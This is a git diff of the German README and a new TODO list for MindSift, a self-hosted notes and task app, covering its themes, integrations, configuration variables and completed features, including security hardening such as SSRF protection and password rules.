-* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA. Die App startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
+* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus, Sicherungen, Spracherkennung.
+
+### 🎨 Darstellung & App
+
+* **Fünf Farbfamilien** mit je einer hellen und dunklen Variante: Klassik, Fjord, Terrakotta, Polarized, Suri. Hell/Dunkel auf Wunsch „Wie System“, dazu eine eigene Akzentfarbe, Ecken rund oder eckig und Knöpfe mit oder ohne Rahmen (pro Gerät). Für eigene Themes gibt es einen Theme-Manager (eine CSS-Datei).
+* **Installierbar als App (PWA)** auf Smartphone und Desktop. Sie startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
+
+<table>
+  <tr>
+    <td align="center"><img src="screenshots/Theme_fjord.webp" alt="Farbfamilie Fjord, links hell, rechts dunkel" /><br /><sub><b>Fjord</b></sub></td>
+    <td align="center"><img src="screenshots/Theme_terracotta.webp" alt="Farbfamilie Terrakotta, links hell, rechts dunkel" /><br /><sub><b>Terrakotta</b></sub></td>
+  </tr>
+  <tr>
+    <td align="center"><img src="screenshots/Theme_polarized.webp" alt="Farbfamilie Polarized, links hell, rechts dunkel" /><br /><sub><b>Polarized</b></sub></td>
+    <td align="center"><img src="screenshots/Theme_suri.webp" alt="Farbfamilie Suri, links hell, rechts dunkel" /><br /><sub><b>Suri</b></sub></td>
+  </tr>
+</table>
 
 ### 🔌 Integrationen
 
-* **Webhook / API-Key:** `POST /api/v1/webhooks/ingest` legt Aufgaben aus Smarthome, Skripten oder Automationen an.
-* Persönliche API-Keys, Datenexport als JSON.
+* **Eingehend (API-Key):** `POST /api/v1/webhooks/ingest` legt Gedanken, Aufgaben oder Listeneinträge aus Smarthome, Skripten oder Automationen an.
+* **KI-Agenten (MCP):** MindSift ist ein MCP-Server (`POST /api/v1/mcp`, Streamable HTTP). Claude Code, OpenAI Codex, Claude Desktop, Cursor und eigene Agenten lesen offene Aufgaben, haken sie ab, legen neue an und führen Einkaufs- und Checklisten. Pro API-Key schaltbar (lesen/ändern, Aufgaben/Listen); Notizen bleiben außen vor. `claude mcp add --transport http mindsift https://…/api/v1/mcp --header "X-API-Key: mindsift_sec_…"`
+* **Ausgehend:** eigener Webhook als Benachrichtigungskanal (JSON per POST), Discord, E-Mail, Push.
+* Persönliche API-Keys, Datenexport als JSON, Markdown-Archiv (Obsidian-kompatibel).
 
 ---
 
@@ -123,12 +157,14 @@ curl -fsSL https://git.dsit.me/sandrodach/MindSift/raw/branch/dev/.env.example -
 docker compose up -d
 ```
 
+Alle Einstellungen stehen mit Erklärung in `.env`. Optional kommt eine eigene Spracherkennung dazu: Block `whisper` in `docker-compose.yml` einkommentieren und `STT_URL=http://whisper:8000` setzen (Anleitung in der Datei).
+
 Minimal:
 
 ```yaml
 services:
   mindsift:
-    image: git.dsit.me/sandrodach/mindsift:stable   # oder feste Version (:v0.4); :latest = main, :dev = Entwicklungsstand
+    image: git.dsit.me/sandrodach/mindsift:latest   # :latest = Stand von main (jede Version), :dev = Entwicklungsstand
     restart: unless-stopped
     ports: ["8080:8080"]
     volumes: ["./data:/data"]
@@ -156,19 +192,29 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
 | `TRUSTED_PROXIES` | `private` | Wessen `X-Forwarded-For`/`X-Real-IP` geglaubt wird: `private` (Proxy im Docker-/Heimnetz), `all` (immer, früheres Verhalten), `none` oder eigene CIDR-Bereiche ([Doku/reverse-proxy.md](Doku/reverse-proxy.md#client-ip-und-trusted_proxies)) |
 | `LOGIN_PROTECTION` | `true` | Sperre nach Fehlversuchen: 3 pro Konto und Adresse, 20 pro Konto, 30 pro Adresse, jeweils 15 Minuten. `false` schaltet sie ab |
 | `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme (ganztägige Aufgaben melden sich um 9:00) |
-| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
+| `REGISTRATION_MODE` | leer (Admin-UI entscheidet) | Registrierung ohne Einladung: `closed`, `approval` (Admin gibt frei), `domain` (nur erlaubte E-Mail-Endungen), `domain+approval` (Endungen sofort, andere nach Freigabe), `open`. Gesetzt ist es im Admin-UI gesperrt |
+| `REGISTRATION_DOMAINS` | leer | Erlaubte E-Mail-Endungen für die `domain`-Modi, z. B. `firma.de, *.firma.de`; gesetzt im Admin-UI gesperrt |
+| `REGISTRATION_VERIFY_EMAIL` | leer (Admin-UI entscheidet) | `true`: Wer sich ohne Einladung registriert, bestätigt zuerst seine E-Mail-Adresse per Link (braucht SMTP und `BASE_URL`); unbestätigte Konten werden nach 48 Stunden gelöscht |
+| `ALLOW_REGISTRATION` | `false` | `true` = wie `REGISTRATION_MODE=open` (gesperrt); `false` lässt die Wahl dem Admin-UI |
 | `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
 | `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
+| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders bei E-Mails |
 | `SMTP_SKIP_VERIFY` | `false` | Zertifikatsprüfung für interne Mailserver abschalten |
+| `NOTIFY_DIGEST_MINUTES` | `5` | Bündelungsintervall für Benachrichtigungen in Minuten |
+| `VAPID_PUBLIC_KEY`, `VAPID_PRIVATE_KEY`, `VAPID_SUBJECT` | automatisch | Schlüssel für Push-Benachrichtigungen; ohne Angabe einmal erzeugt und in der Datenbank gespeichert. `VAPID_SUBJECT` (Kontakt für die Push-Dienste, `mailto:` oder `https://`) sonst aus `BASE_URL` |
+| `MEDIA_*` | diverse | Grenzen für Bilder und Audio in Notizen (`MEDIA_MAX_IMAGE_MB=15`, `MEDIA_MAX_AUDIO_MB=50`, `MEDIA_QUOTA_MB=0`) |
+| `STT_*` | diverse | Optionale eigene Spracherkennung per Whisper (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE` …; siehe [Doku/architecture.md](Doku/architecture.md#spracherkennung)) |
 | `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
 | `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
+| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Zusätzlicher Link im Footer (z. B. Statusseite), nur `https` |
 | `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
 | `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
 
 * **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
 * **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
 * **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
-* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
+* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main` (jede neue Version landet dort). Ein Git-Tag wie `v1.2.0` erzeugt zusätzlich `:v1.2.0` und `:stable`; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
+* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
 
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@@ -189,12 +235,12 @@ npm run test:run           # Komponententests (Vitest, jsdom)
 npm run build              # Produktions-Build
 cd ..
 e2e/run.sh                 # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image
-APP_VERSION=v0.4 e2e/screenshots.sh   # Screenshots dieser README neu erzeugen (Demo-Daten)
+e2e/screenshots.sh         # Screenshots dieser README neu erzeugen (Demo-Daten, hell/dunkel diagonal)
 ```
 
 Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus.
 
-**Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite) · React 18, TypeScript, Vite, Tailwind.
+**Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite, webpush-go) · React 18, TypeScript, Vite, Tailwind.
 
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@@ -206,8 +252,8 @@ Die technische Doku liegt unter [Doku/](Doku/README.md): Architektur, Datenbank,
 
 ## 🔒 Deine Daten gehören dir
 
-* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook).
-* Alle Inhalte liegen in einer einzigen SQLite-Datei; der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP) exportieren, alle Daten eines Benutzers als JSON.
+* Selbst gehostet, keine Telemetrie, keine Fremddienste, Schrift und Icons werden mitgeliefert. Ausgehende Verbindungen baut nur der Server auf, und nur für das, was du nutzt: Benachrichtigungen (SMTP, Discord, eigener Webhook, die Push-Dienste der Browser), Link-Vorschauen (die verlinkte Seite wird einmal abgerufen, pro Gerät abschaltbar) und optional dein eigener Whisper-Server.
+* Alle Inhalte liegen in einer einzigen SQLite-Datei; Bilder und Sprachnotizen liegen daneben in `data/media/`. Der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP, mit `attachments/`) exportieren, alle Daten eines Benutzers als Backup-ZIP (JSON plus Mediendateien).
 
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TODO.md

@@ -0,0 +1,294 @@
+# 📋 MindSift – Projekt-TODOs
+
+> **Zweck & Kontext:**  
+> Diese Datei enthält strukturierte, technische Arbeitsaufträge und Feature-Spezifikationen für ausführende Entwickler- und Agenten-KIs.  
+> Sie wird fortlaufend gepflegt, priorisiert und mit konkreten Implementierungsdetails angereichert.
+
+---
+
+## 📱 Frontend – Mobile Version
+*Aufgaben, UI/UX und Touch-Optimierungen für Smartphones & Tablets.*
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+---
+
+## 🖥️ Frontend – Desktop Version
+*UI/UX, Tastatur-Shortcuts, Layouts und Ansichten für Desktop-Browser.*
+
+---
+
+## ⚙️ Backend & Schnittstellen
+*Go-Services, SQLite-Persistenz, REST/WebSocket-Endpunkte und Hintergrundjobs.*
+
+### Allgemein / Core
+### Mobile-spezifisch
+- [ ] *(Aktuell keine offenen Aufgaben)*
+
+### Desktop-spezifisch
+- [ ] *(Aktuell keine offenen Aufgaben)*
+
+---
+
+## 💡 Konzept, UX & Planung
+*Architektur, UI-Guidelines und systemübergreifende Entscheidungen.*
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+- [ ] **Anmeldung per OpenID Connect** (zurückgestellt, aktuell kein Bedarf) – Login über Gitea, Authentik, Google & Co. Ausgearbeitet in [Doku/plans/registrierung-und-login.md](Doku/plans/registrierung-und-login.md), Abschnitt 4.
+
+---
+
+## 📋 Organisation & Dokumentation
+*Tickets, Dokumentation, Release-Vorbereitungen und DevOps/Deployment.*
+
+---
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+## 📦 Verschiedenes / Backlog
+*Unsortierte Notizen, vage Ideen und Sonstiges.*
+
+---
+
+## ✅ Erledigt
+*Abgeschlossene Aufgaben und Features mit Referenz.*
+
+- [x] **Theme-Manager in den Benutzereinstellungen (Upload & CSS-Editor im WordPress-Stil)** *(Commit `bf0d68e`)*
+  - Theme-Upload (`.css`-Dateien), Copy-Paste von CSS, Vorlagen-Download/Kopieren, dynamische Live-Injection via `<style id="mindsift-custom-theme">` und Einbindung in die Theme-Galerie.
+- [x] **Persistenz für benutzerdefinierte Themes in SQLite & API-Endpunkte** *(Commit `bf0d68e`)*
+  - SQLite-Tabelle `user_themes` und REST-Endpunkte (`GET / POST / DELETE /api/v1/themes`) für persistente Custom-Themes pro Benutzer.
+- [x] **Admin-Einstellungen: Checkboxen für SMTP durch Toggle-Switches ersetzen** *(Commit `ce321ce`)*
+  - SMTP-Haken sind Toggle-Switches (`ToggleSwitch`), neuer Schalter „Zertifikatsprüfung deaktivieren“.
+- [x] **SMTP-Client & E-Mail-Alarme härten (Fix: `451 4.3.2 Internal server error`)** *(Commit `ce321ce`)*
+  - Expliziter SMTP-Ablauf mit Fehlerangabe pro Schritt (`smtp_step`), EHLO mit Absender-Domain, nackte Adresse im Umschlag, `Date`/`Message-ID`, kodierter Betreff; Tests gegen Fake-SMTP-Server.
+- [x] **Option zur Deaktivierung der TLS-Zertifikatsprüfung für SMTP (`smtpSkipVerify`)** *(Commit `ce321ce`)*
+  - `SMTP_SKIP_VERIFY` in Config, Systemeinstellungen und Admin-UI; gilt für Port 465 und STARTTLS.
+- [x] **Zentrale `CountBadge`-Komponente & einheitliches Theming schaffen** *(Commit `a62b204`)*
+  - `CountBadge` (accent/muted, inline/corner, 99+) für Navigation, Tabs, Admin und mobiles Menü; `badge-count` entfernt; Vorlage leitet Akzent-Töne aus der Akzentfarbe ab.
+- [x] **Aufgaben-Counter im mobilen Listen-Menü für „Alle Aufgaben" ergänzen** *(Commit `a62b204`)*
+  - „Alle Aufgaben“ zeigt im mobilen Menü die Zahl offener Aufgaben (inkl. geteilter Listen).
+- [x] **Aufgaben-Counter im Tab „Alle Aufgaben" anzeigen** *(Commit `a62b204`)*
+  - Zähler am Tab; Backend zählt offene Aufgaben jetzt wie die Ansicht „Alle Aufgaben“ (auch fremde Aufgaben in geteilten Listen).
+- [x] **Badge-Positionierung in Tabs an Titelleiste/App-Icons angleichen (Top-Right)** *(Commit `a62b204`)*
+  - Zähler sitzen oben rechts an den Tabs der Aufgabenlisten und Listen.
+- [x] **Impressum- & Datenschutz-Links im Login- und Einstellungs-Footer (mit Auto-Hide)** *(Commit `d6c70d7`)*
+  - Links unter der Anmelde-/Einrichtungsbox und im Footer der Kontoeinstellungen (`LegalLinks`): URL im neuen Tab, Markdown im Lesefenster, unsichtbar ohne Konfiguration.
+- [x] **Konfigurierbare Rechtstexte (Impressum & Datenschutz via ENV)** *(Commit `d6c70d7`)*
+  - `LEGAL_IMPRINT_/PRIVACY_URL` und `…_CONTENT` (auch `…_CONTENT_FILE`), nur `http(s)`-URLs; `legal` in `/auth/status`, öffentlich `GET /api/v1/legal/{imprint|privacy}`.
+- [x] **„Über MindSift"-Bereich mit Versionsinfo & GitHub-Link** *(Commit `d6c70d7`)*
+  - Fenster „Über MindSift“ (Version, Lizenz, Philosophie, Repository-Link) aus Kontoeinstellungen und Hilfe; Link/Lizenz als Konstanten in `AboutModal.tsx` (Repo zeigt auf git.dsit.me, Lizenz noch nicht festgelegt).
+- [x] **Markdown-Tree-Export als direktes Streaming-ZIP (Obsidian-kompatibel)** *(Commit `e509f68`)*
+  - `GET /api/v1/export/markdown` streamt die ZIP ohne Temp-Dateien: Ordnerstruktur wie im Workspace (inkl. geteilter), YAML-Frontmatter, Obsidian-taugliches Markdown, `Aufgaben/` im Tasks-Plugin-Format, `Listen/`.
+- [x] **Globale Schnellsuche & Spotlight-Palette (`Cmd+K` / `Ctrl+K`)** *(Commit `71fa53e`)*
+  - Gemini; gemergt in `a044620`, geprüft (Zugriff, Cmd+K, Enter öffnet). Markierungsfarbe in `a62b189` ans Theme angepasst.
+- [x] **Volltextsuche auf SQLite FTS5 (Full-Text Search) umstellen** *(Commit `71fa53e`)*
+  - Gemini; FTS5 mit Triggern, Backfill, BM25, Snippets, Zugriffsprüfung je Typ; gemergt in `a044620`.
+- [x] **Vollständige Emoji-Bibliothek für Notizen-Header einbinden** *(Commit `633bd6f`)*
+  - Gemini; `emoji-picker-react` 4.12.0, lazy geladen; gemergt in `a044620`.
+- [x] **Emoji-Modal für Notiz-Icon responsiv & tastatur-optimiert umbauen** *(Commit `633bd6f`)*
+  - Gemini; mobiles Bottom-Sheet mit Autofokus und großen Touch-Zielen; gemergt in `a044620`.
+- [x] **Demo-Modus: Automatischer Reset der Datenbank bei jedem Serverstart** *(Commit `9c6598c`)*
+  - Gemini; Reset nur bei aktivem Demo-Modus (getestet), nutzt die gemeinsame Drop-Funktion; gemergt in `a044620`.
+- [x] **SMTP: `AUTH LOGIN`-Fallback & alternative SASL-Authentifizierung implementieren** *(Commit `d8a16c6`)*
+  - `AUTH LOGIN` direkt, wenn nur LOGIN angeboten wird; nach abgelehntem PLAIN neue Verbindung mit LOGIN (net/smtp schließt nach gescheitertem AUTH). Scheitern beide mit 451, nennt die Meldung beide Versuche und verweist auf das SASL-Backend des Mailservers. Tests mit Fake-Server.
+- [x] **Markdown-Tree-Import aus ZIP (Obsidian-Vault-Support)** *(Commit `1601a6a`)*
+  - Zwei Wege: `POST /import/mindsift` (JSON-Backup oder MindSift-Archiv, Rundreise inkl. Aufgaben/Listen/Triage) und `POST /import/obsidian` (Vault in eigenen Ordner, Checkboxen bleiben, Tags → #Hashtags). Vorschau mit `?preview=1`, Grenzen gegen ZIP-Bomben und `..`-Pfade, Tests.
+- [x] **UI für Obsidian- / Markdown-Tree Backup-Export und ZIP-Import integrieren** *(Commit `1601a6a`)*
+  - Export-Button (`e509f68`) und zwei Import-Karten „MindSift-Daten“ / „Obsidian-Vault“ mit Drag & Drop, Vorschau, Bestätigen und Ergebnis (inkl. übersprungener Dateien).
+- [x] **Mobile Unterstützung für Backup-Download & ZIP-Import** *(Commit `1601a6a`)*
+  - Download hängt den Link ins Dokument und gibt die URL verzögert frei (mobil getestet); Datei-Buttons mit 44 px Touch-Höhe, `accept=".json,.zip"`; Import mobil im Browser geprüft.
+- [x] **PWA Splash-Screen & Ladebildschirm: Vollflächig Blau mit zentriertem Logo** *(Commit `9bc8716`)*
+  - Manifest mit kurzem Namen und `#2563eb`; blauer HTML-Platzhalter mit Logo in `#root` bis React startet (ohne JS geprüft); `theme-color` startet blau und folgt danach dem Theme. iOS-Startbilder (`apple-touch-startup-image`) gibt es weiterhin nicht.
+- [x] **Eingabefeld für API-Key-Namen auf mobilen Geräten vergrößern** *(Commit `0e9fd1b`)*
+  - Feld und Button mobil 44 px, Schrift 16 px; Ursache war `flex-1` im untereinander gestapelten Layout, das die Höhe auf den Inhalt schrumpfte.
+- [x] **Admin-Settings: SMTP-Port-Eingabe reparieren & Typen-Mismatch beheben („Ungültiges JSON“)** *(Commit `a3a7094`)*
+  - Port als Text (nur Ziffern) im Formular, lässt sich leeren; Server akzeptiert Zahl oder Text (`SystemSettings.UnmarshalJSON`), getestet.
+- [x] **MindSift-Backup-Import: Modus-Auswahl „Hinzufügen“ vs. „Wiederherstellen (Alles überschreiben)“** *(Commit `0e9fd1b`)*
+  - „Hinzufügen“ / „Wiederherstellen“ mit Warnung und Pflicht-Haken; `?mode=restore` löscht die eigenen Daten erst nach vollständiger Prüfung der Datei, in einer Transaktion.
+- [x] **Gefahrenzone in Benutzereinstellungen: „Alle Daten löschen“ & „Konto löschen“** *(Commit `0e9fd1b`)*
+  - „Daten löschen“ und „Konto löschen“ im Bereich Profil & Sicherheit, beide mit Passwort; Konto-Button für den letzten Admin deaktiviert mit Hinweis; nach Kontolöschung Abmeldung zur Login-Seite.
+- [x] **Selbstbedienung: Daten löschen & Konto löschen (inkl. Schutz für letzten Admin)** *(Commit `0e9fd1b`)*
+  - `DELETE /user/data`, `DELETE /user/account` (Passwort nötig, 403 für letzten Admin); `PurgeUserData` in einer Transaktion, Aufgaben anderer in eigenen geteilten Listen bleiben deren Aufgaben; auch Admin-Löschung räumt jetzt vollständig auf.
+- [x] **UI für wiederkehrende Aufgaben (Auswahl & Icon)** *(Commit `588c679`)*
+  - Auswahl im Detail-Fenster (Keine / 🔁 Täglich / Wöchentlich / Monatlich / Jährlich) mit Hinweis; dezentes Wiederholungs-Symbol an Zeilen und Kanban-Karten.
+- [x] **Wiederkehrende Aufgaben: Automatische Folge-Aufgabe bei Erledigung erzeugen** *(Commit `588c679`)*
+  - Spalte `recurrence`; Abhaken auf allen Wegen (Detail, Liste, Kanban, Notiz-Checkbox) erzeugt die Nachfolgerin mit kopierten Feldern, zurückgesetzten Unteraufgaben und fortgeschriebenem Datum (Monatsende abgefangen), live per `TASK_CREATED`; höchstens eine Nachfolgerin pro Aufgabe; Export/Import behalten die Regel.
+- [x] **Mobile Eingabe für Fälligkeits-Uhrzeit optimieren** *(Commit `344f5e4`)*
+  - Datum- und Uhrzeitfeld nebeneinander, mobil 44 px hoch mit nativen Pickern; „✕ Uhrzeit“ in der Schnellwahl macht die Aufgabe wieder ganztägig, ✕ entfernt die Fälligkeit.
+- [x] **Fälligkeiten mit Uhrzeit im Task-Detail-Modal & Aufgabenansichten unterstützen** *(Commit `344f5e4`)*
+  - Format `YYYY-MM-DDTHH:MM` (API nimmt auch Leerzeichen/Sekunden an); Anzeige „Heute, 14:30“, „Morgen“, „Fr., 06.11.“; Überfälliges minutengenau rot; Gruppieren/Sortieren nach lokalem Tag und Uhrzeit (vorher UTC-Datum). Schnellwahl behält die Uhrzeit, Wiederholungen auch, Markdown-Export/-Import ebenso.
+- [x] **Alarm-System härten: `alarm_sent` zurücksetzen & Fälligkeiten mit Uhrzeit auswerten** *(Commit `344f5e4`)*
+  - Alarm zur Uhrzeit (ganztägig 9:00) minus Vorlaufzeit, Zeitzone `TZ` (Standard Europe/Berlin, tzdata eingebettet); neue Fälligkeit oder Wiederöffnen (Detail, Kanban, Notiz-Checkbox, Triage) setzt `alarm_sent` zurück; Folgeaufgaben starten mit 0. Mails zeigen „30.10.2026, 14:30 Uhr“. Offen in FLAW-12: Backoff bei Fehlern.
+- [x] **Sicherheitslücke FLAW-04: Fest eincodiertes Fallback-`JWT_SECRET` absichern** *(Commit `4cdbcbd`)*
+  - Ohne `JWT_SECRET` oder mit bekanntem Platzhalter erzeugt der Server einen Zufallswert und speichert ihn als `jwt.secret` (0600) im Datenverzeichnis.
+- [x] **Sicherheitslücke FLAW-05: SSRF-Schutz für Webhook- und Discord-Alarm-URLs** *(Commit `62463bc`)*
+  - https-Pflicht, Discord nur discord.com/api/webhooks/, eigener Resolver beim Verbinden (localhost/Link-Local/Metadaten immer gesperrt), Heimnetz und http nur mit Admin-Schalter „Alarm-Webhooks ins lokale Netz erlauben“, keine Proxys, max. 3 Weiterleitungen.
+- [x] **Papierkorb für Notizen: Soft-Delete, Wiederherstellung & endgültiges Löschen** *(Commit `f69f74f`)*
+  - `is_archived` + `archived_at`/`archived_by`; Löschen (auch ganzer Ordner) verschiebt in den Papierkorb; raus aus Baum, Suche, Export, Statistik und für alle Empfänger unsichtbar; Endpunkte `GET/DELETE /documents/trash`, `POST /documents/{id}/restore`, `DELETE /documents/{id}/permanent`; Wiederherstellen legt fehlende Ordner neu an.
+- [x] **Papierkorb-Ansicht & Wiederherstellung im Workspace (Notizen)** *(Commit `f69f74f`)*
+  - Eintrag mit Zähler unten in der Ordnerleiste; Liste mit Ordner und Löschzeitpunkt, „Wiederherstellen“, „Endgültig löschen“ und „Papierkorb leeren“ jeweils mit zweitem Tipp; Notiz im Papierkorb schreibgeschützt mit Hinweisleiste und „Wiederherstellen“.
+- [x] **Papierkorb für Notizen im mobilen Workspace integrieren** *(Commit `f69f74f`)*
+  - Menüpunkt „Papierkorb“ mit Zähler im mobilen Menü und in der Ordnerliste; mobile Ansicht mit 44-px-Buttons und Zurück-Pfeil.
+- [x] **Backlink-Index & Abfrage für Notizen („What links here“)** *(Commit `677fe0f`)*
+  - `GET /documents/{id}/backlinks`: Notizen mit `[[Titel]]` (auch `|Alias`, `#Abschnitt`, Groß/klein egal), nur sichtbare, ohne Papierkorb und die Notiz selbst; bis zu 5 Fundstellen pro Notiz plus `more`.
+- [x] **Wiki-Style Backlink-Bereich („What links here“) am Notiz-Ende** *(Commit `677fe0f`)*
+  - Einklappbarer Bereich „Verlinkt auf diese Notiz (n)“ am Notiz-Ende mit Icon, Titel, Ordner und hervorgehobenem Link im Bullet; Klick springt direkt zum Bullet; bei 0 ausgeblendet.
+- [x] **Passwort-Reset per E-Mail: Token-Generierung, Mailversand & Session-Invalidierung** *(Commit `5e20710`)*
+  - Tabelle `password_reset_tokens` (nur SHA-256), Link 1 h und einmal gültig, höchstens alle 2 Min. pro Konto; neutrale Antwort, Versand im Hintergrund; Link nur aus `BASE_URL`; neues Passwort entwertet alle Links und beendet alle Sitzungen. Nur aktiv mit SMTP + gesetzter `BASE_URL`, nicht im Demo-Modus.
+- [x] **Passwort-Zurücksetzen-Flow im Login-Screen („Passwort vergessen?“)** *(Commit `5e20710`)*
+  - „Passwort vergessen?“ am Passwortfeld (nur wenn verfügbar), Formular mit neutraler Bestätigung; `?resetToken=` öffnet „Neues Passwort festlegen“ (mit Wiederholung), Token verschwindet sofort aus der Adresszeile; danach Hinweis zur Anmeldung, bei abgelaufenem Link „Neuen Link anfordern“.
+- [x] **PWA Offline-Fähigkeit & App-Shell-Caching (Service Worker & Sync-Queue)** *(Commit `7bba174`)*
+  - Service Worker: Seiten Network-First mit gecachter index.html, Bundles Cache-First, Icons/Manifest SWR, Cache-Versionen; GET-Antworten pro Benutzer in IndexedDB (App startet offline angemeldet); Outbox für erfasste Gedanken und abgehakte Aufgaben/Listeneinträge, gesendet bei `online`, Start und alle 30 s; Banner „Offline · n Änderungen warten“. Im Browser mit Flugmodus geprüft.
+- [x] **Refactoring FLAW-20: Monolithische Go-Dateien (`server.go` & `sqlite.go`) domänenspezifisch aufteilen** *(Commit `74c394e`)*
+  - Reine Verschiebung per AST-Werkzeug: `storage` → users, apikeys, thoughts (inkl. Alarme), tasklists, documents, folders, tags, lists, teams, system; `api` → handlers_auth/account/thoughts/documents/folders/lists/tasklists/teams/admin/integrations, realtime.go, alarms.go. sqlite.go 637, server.go 460 Zeilen; alle Tests grün.
+- [x] **Passwortregeln im Frontend härten (Mindestens 8 Zeichen & Validierungshinweise)** *(Commit `b5f926b`)*
+  - Gemeinsame Prüfung `lib/password.ts` in Setup, Registrierung/Einladung, Reset, Profil und Admin (Anlage + Reset) mit eigener Meldung „Das Passwort muss mindestens 8 Zeichen lang sein“ statt Browser-Popup; Platzhalter angepasst.
+- [x] **Sicherheitslücke FLAW-09: Passwort-Mindestlänge auf 8 Zeichen anheben & zentral validieren** *(Commit `b5f926b`)*
+  - `auth.ValidatePassword` (≥ 8 Zeichen, nicht nur Leerzeichen, ≤ 72 Bytes) in allen sechs Pfaden; bestehende kürzere Passwörter funktionieren beim Login weiter. Nebenbei: Profil/Admin-Reset kürzen das Passwort nicht mehr (Leerzeichen am Rand machten den Login unmöglich). Offen in FLAW-09: Rate-Limit.
+- [x] **Alarm-Logik härten (FLAW-12): Fehlversuche begrenzen (Max. 3 Versuche bei Ausfall aller Kanäle)** *(Commit `d198281`)*
+  - Spalte `alarm_failures`; nach 3 Durchläufen ohne zustellenden Kanal wird der Alarm aufgegeben (Warnung im Log); Erfolg, neue Fälligkeit oder Wiederöffnen setzen zurück. FLAW-12 damit vollständig behoben.
+- [x] **Such-Button in der Desktop-Titelleiste als runder Icon-Button (Lupe im Kreis)** *(Commit `6d720c0`)*
+  - Runder Icon-Button nur mit Lupe, Tastenkürzel im Tooltip.
+- [x] **Header-Navigation: Workspace-Bubble entfernen & Listen-Bubble ergänzen** *(Commit `c4fc455`)*
+  - Neues Feld `listItemsOpenCount` (offene Einträge aller eigenen, direkt und per Gruppe geteilten Listen, mit Test); Akzent-Zähler an Listen in Header und mobiler Leiste, Workspace ohne Zähler; Stats aktualisieren sich bei Listen-Events und nach Löschen.
+- [x] **Workspace-Tabs: Einheitliche `CountBadge`-Bubbles für To-Dos und Hashtags (Notizen ohne Bubble)** *(Commit `4bf060b`)*
+  - To-Dos und Hashtags mit `CountBadge` auf dem Label, Notizen ohne Zähler.
+- [x] **Workspace: Lokale Notizen-Suche entfernen bzw. auf globale Spotlight-Suche umstellen** *(Commit `e7851f1`)*
+  - Lokaler Filter entfernt; an seiner Stelle ein Button „Notizen durchsuchen… ⌘K“ (mobil 44 px), der die globale Volltextsuche öffnet.
+- [x] **Tab-Badges optimieren: Positionierung um ca. 4px nach unten und 4px nach rechts korrigieren** *(Commit `6d6a35d`)*
+  - Alle Tab-Zähler `-top-0.5 -right-2` mit `pr-3` am Label (Header, Aufgabenlisten, Listen, Workspace); geprüft in Dark, Light und mobil; ui-patterns.md angepasst.
+- [x] **Such-Icon in der Titelleiste: Vollständig kreisrundes Styling (`rounded-full`) sicherstellen** *(Commit `afd3b03`)*
